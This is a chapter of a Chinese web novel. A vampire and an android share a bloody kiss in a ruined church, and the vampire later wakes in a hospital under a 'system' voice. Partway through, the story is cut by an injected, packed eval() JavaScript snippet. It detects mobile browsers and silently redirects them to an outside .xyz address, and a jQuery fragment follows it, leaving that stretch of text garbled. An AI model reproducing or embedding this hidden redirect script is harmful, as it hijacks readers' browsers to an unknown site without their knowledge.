“任务,完成了。”赫兰蹲着和他对视。


    他的手上拿着光脑,罩袍颜色像浸湿的泥土,垂坠感很重。


    “你想要奖励吗?”林克斯扣住对方的后颈,两人的面庞忽然凑近。


    血腥味萦绕在呼吸间,不用看就知道自己此时有多糟糕。


    但赫兰的脸很干净,除了罩袍上沾染的浓重腥味。


    “做的很好。”他说。


    把额前乱糟糟的黑发拨开,独角兽漫不经心地在溪边啜了一口水,在即将亲吻到对方的嘴唇时,他停住了一下,最后只落在了赫兰的嘴角。


    但在林克斯抽离时,赫兰伸出舌头舔去他唇上已经凝固的血浆,他的手也摸向对方的脸颊,带着温柔与细腻。


    “你看了吗?”林克斯说。


    赫兰掐碎了手里的光脑。


    刚开始只是唇与唇之间的触碰,仿佛初次相遇的两个人在用嘴唇感知着对方的形状,他们探索着对方,然后是气息的交融。


    直到赫兰的嘴唇被舔了一下,是一种冰凉湿润的触感,在梦境中那汪镜面般的湖水开始翻腾搅动。


    比起亲吻,更像是对食物的索取。


    在林克斯微微启唇时,他的舌头下意识撬开了对方的齿缝占领口腔,对方只愣了一瞬,就用冰凉而柔软的舌头引导着他去探索那尖锐的犬齿。


    他见过那对牙几次,锋利、洁白,和林克斯偏圆钝的性格截然不同,但偶尔却又显露出一丝狡黠,似乎可以从中窥探到表层之下的一些东西。


    两张面孔凑的极近,他们贴在了一起,冷与热相交,生与死分隔。


    尖牙刺破了赫兰的下唇,血腥味就像糖浆一般,过度的失血对于一个吸血鬼来说是致命的,林克斯无法克制渴求的欲望。


    理智和冲动交杂着,他肆无忌惮地刺入赫兰的唇,却又小心翼翼避开对方的舌头,放任似地让他探索自己的口腔。


    绯红染上了眼角,因吞咽而滚动的喉结无形中加剧了情欲的发酵。


    赫兰大部分时候都是沉默的,似乎不擅长拒绝别人的请求。


    但仿生人早已把反叛刻在了骨子里。


    口腔里的疼痛愈演愈烈,他轻轻捏住了林克斯的下巴抬起,似乎在表达拒绝,但缠在一起的唇舌并没有分开,更像是一种欲拒还迎。


    尖牙被“无害化”了,但血液仍在口腔里流淌,对于吸血鬼来说这充其量是一个甜点。


    两人的身份似乎调换了过来,林克斯开始变得有侵略性,尖牙在寻找着重新获得食物的机会,而赫兰则仿佛一个神父,用唇舌安抚着饥饿的魔鬼。


    口腔里的伤口止血得很快,魔鬼开始蠢蠢欲动。


    神父发现安抚无用,不得不和邪恶的吸血鬼对抗起来,谁也不愿甘拜下风。


    他们仿佛回到了最开始,最初见面的时候。


    赫兰杀了林克斯无数次,但他不怪他。


    神父已经用自己偿还了亏欠给魔鬼的那部分。


    比起亲吻,更像捕食,更像搏斗,他们忍不住扣住对方的后脑勺,想要再凑近些,恨不得将两具身躯相融。


    也许是不满于猎物的挣扎,林克斯轻轻用尖牙剐蹭了赫兰的舌头,刺痛感在舌尖微妙地蔓延。


    但有时候,捕食者也可能翻身变成猎物。


    赫兰回咬住了那节冰凉的舌头,但他没有尖牙,又或许是舍不得用力,只摩擦了牙齿,比起示威更像是调情。


    灼热的呼吸沾染道了对方脸颊的皮肤,他想把理智拽回来,但低估了吸血鬼对于猎物的执着。


    口腔里吸吮不到更多的血液后,唇舌缓慢地分开,赫兰没有阻止,但那尖牙挑衅似地滑过他的嘴角,一直顺着脖颈,似乎在挑选最佳入口的位置。


    “我们先回去……”他喘息着说道,想把林克斯从洞里拽出来。


    然而手往下探时摸到了粘稠的未干的血浆,赫兰愣了一下,尖牙则狡猾地刺进了他的皮肤。


    他把人捞了起来,但林克斯根本站不住,身体往下滑。


    腹部的伤口狰狞,紫红的血块呈半凝固状,看不出里面的组织是来自脏器中的哪一部分。


    “走……”他当机立断道,但对方拖着他不断汲取着血液。


    对于血浆的作用,他大概知道一些,但这种程度的伤口不经过手术靠自愈估计有些困难。


    林克斯似乎恢复了一些神志,他揉了揉眼睛。


    “饿了。”他说。


    小臂上的时间反复变动着,当他摄取血浆时就会变多,而停下时则飞速减少。


    他舔了舔唇,红色的眼睛看上去很透彻。


    其实赫兰早就该注意到的,林克斯嘴唇很薄,通常没什么血色,由于口腔结构和正常人类不太一样,导致了面部骨相的差异。


    不过在多种族混杂的新世纪,这一点被很好地隐藏起来了。


    那两颗用来捕猎的尖牙无法收回,只有着能严丝合缝卡进去的牙槽,但现在却搭在唇上,下唇被压出两个小小的凹陷。


    遗书早已抛在脑后,思绪在进食和亲吻间徘徊。


    “我是吸血鬼。”他说,眨了眨眼。


    “我在童话里见过。”赫兰说。


    但他马上反应了过来,急切地拉着林克斯离开。


    “我不能去医院……”


    他回拉住了赫兰:“我需要血液。”


    手臂上的倒计时放缓了很多,虽然伤口仍然呈开放状态,看起来有好转的趋势。


    对方没有停下,似乎想要说些什么,但林克斯直接把赫兰的头掰向一边,重新吻住了他。


    口腔里未愈合的伤口被舌头强势地揉开,吸吮着,这让他不得不停下。


    “呼,你会死的……”赫兰脸颊罕见地泛红,他只能趁亲吻的空隙试图劝说这个贪婪的恶魔。


    “童话里有说这个吗?”尖牙贴在他的唇上,林克斯微张着嘴含糊地说道:“恶魔是不会死的。”


    被血液浸湿的头发粘在脸上结了块,恶魔就是这样肆无忌惮的家伙,他们好像不在乎任何。


    破败的教堂上面还挂着看不清面容的人像,静静地见证这一切,连同地上的尸体一起。


    这是一种很奇怪的感觉,像是情欲,但又掺杂着捕食者对猎物的调弄。


    这不是一场纯粹意义上的接吻。


    融入身体的新鲜血液似乎在流淌着,原本冰冷的身躯也被感染上的热意。


    口腔里很快吸吮不出血液来,林克斯又要顺着对方的脖颈往下,再这样下去将重蹈覆辙,赫兰这次稍微用力地咬住了对方的舌尖。


    冷不丁防传来的刺痛让吸血鬼忍不住从喉咙里挤出痛叫,但却被密集地吻堵了回去。


    【三】


    什么?


    上一次听到系统的声音像是在两百年前。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726151|151693||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    【二】


    总有种不详的预感……


    【一】


    林克斯眼前一黑,失去了意识。


    【……真是不知道该说什么好了。】昏迷前他只来得及听到系统无奈地叹息。


    腹部的疼痛一直没有消退,也许是通感,在梦里,这股子疼痛蔓延到了全身。


    他躺在白色的病床上,右手因为滞留针有些浮肿。


    林克斯的记忆似乎还停留在4202,他下意识想要离开医院,但身体却没有跟随他的意志所动。


    旁边坐着仍然看不清面孔的人,却有种莫名的熟悉感,好似在上一个梦境中相遇过。


    那人递给了他纸笔,似乎是一张同意书。


    他浮肿的手接过,林克斯想努力辨认上面的文字,却怎么也看不懂。


    也许是放弃治疗声明……


    他胡乱猜测到,这当然是不会签的!


    然而梦中的自己犹豫了片刻却拿起了笔。


    别吧……


    林克斯觉得自己还有救。


    “好了。”他签完放下了笔,视线转向那个人。


    对方张口,似乎要说些什么,但声音有些失真。


    林克斯直觉这句话很重要,努力想凑近,身体却纹丝不动。


    他只好把全部感官都集中在了耳朵上,声音好似从另一个时空传来,他努力凑近,努力……睁开眼!


    “哎呀!醒了醒了!”


    “hello,这是几你知道吗?”


    好吵……


    “完了,没反应,是不是脑子坏了?”


    “家属?家属!”


    林克斯艰难挥开了一直在他眼前晃悠的那只手。


    “……干什么?”一开口才发觉声音沙哑得厉害。


    “哎呀,看起来没傻。”乔恩斯有些遗憾地收回了手。


    刺眼的阳光忽然闯进来,赫兰掀开了帘子。


    “现在是什么时候了?”腹部的伤口大概已经被缝合——乔恩斯在这的话。


    “十二点,还赶得上吃个午饭。”医生看了一眼光脑。


    但明眼人都看得出病人根本不想搭理他。


    赫兰什么都没有说,只是沉默地坐着,直到他们对视一眼,他才开口:


    “欢迎回来。”


    【欢迎回来。】


    系统的声音同时响起。


    “我以为我要重开了。”


    【呵呵,如果你再亲得久一点的话。】


    “……”


    当理智回笼,再看向赫兰免不了一丝尴尬。


    如果在21世纪,大概会出现一个帖子——不小心亲了室友怎么办!?


    好在总有多余的人愿意主动打破这个气氛。


    帘子又一次被掀开。


    “您能醒来真是太令人高兴了,尊贵的超级vip用户!”


    “啊?”


    进来的是赫兰的“熟人”,曾屡次对他推销的兜帽男,他今天仍然穿着一身连帽衫,只不过背后印着天理会大大的logo。


    医生端了一摞杂志上来:“你男朋友订购我们整整十年的刊物,现在是天理会的超级vip,享有会内的医疗服务等。”


    他又耸了耸肩,把一旁的纳米器官收了回去,颇语气为遗憾:“不过你的自愈能力简直惊人,没福气享用最新型号的义体了。”


    ……这福气不要也罢。